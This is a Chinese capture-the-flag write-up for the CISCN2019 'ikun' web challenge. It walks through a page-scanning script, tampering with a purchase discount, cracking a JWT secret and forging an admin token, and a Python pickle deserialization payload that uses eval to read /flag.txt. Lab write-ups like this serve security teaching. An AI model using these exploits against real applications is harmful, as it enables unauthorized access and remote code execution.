[CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun
先注册账号,然后看下坤坤的精彩表演 😄
提示我们要找到lv6去购买,写个脚本找一下在哪个页面
import requests
url="http://161d322b-3fc2-4122-9369-87030d3ac025.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
发现在page=181,定位过去,找到lv6的购买页面
点击购买,抓个包,发现有discount,修改discount=0.00000000000001(不能为0,小一点就好了),这样就买得起了
告诉我们一个Location:/b1g_m4mber,然后提示我们只有admin才可以访问
发现包内有JWT签名,学习一下JWT的一些内容
https://cloud.tencent.com/developer/article/1620770
JWT在CTF中的问题
使用c-jwt-crack爆破一下密钥
在这里说一下如何使用c-jwt-crack(更多细节内容可以去看我的上一篇博客,这里贴一下地址https://www.cnblogs.com/LEOGG321/p/13434491.html)
apt-get install libssl-dev
先安装这个依赖库,然后在文件夹内使用make命令,即可生成jwtcrack
使用jwtcrack解密
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
去https://jwt.io/上伪造一份admin的签名
伪造后的签名为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
修改jwt后登录为admin,查看源代码,发现有泄露
关键代码是admin.py
python反序列化
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式 pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回
Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解: obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。
而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
这里的become先进行一次url解码,再进行pickle反序列化
构造一下pickle反序列化,用python2.7跑,这里我还遇到了一个小坑,我把文件命名为pickle.py,这样就导致了'module' object has no attribute 'dumps'
**牢记:不要用库名作为文件名 **
# coding:utf-8
#version:python2.7
import pickle
import urllib
class Test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()" ,))
a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
一键成为大会员,抓包,修改become的值,找到flag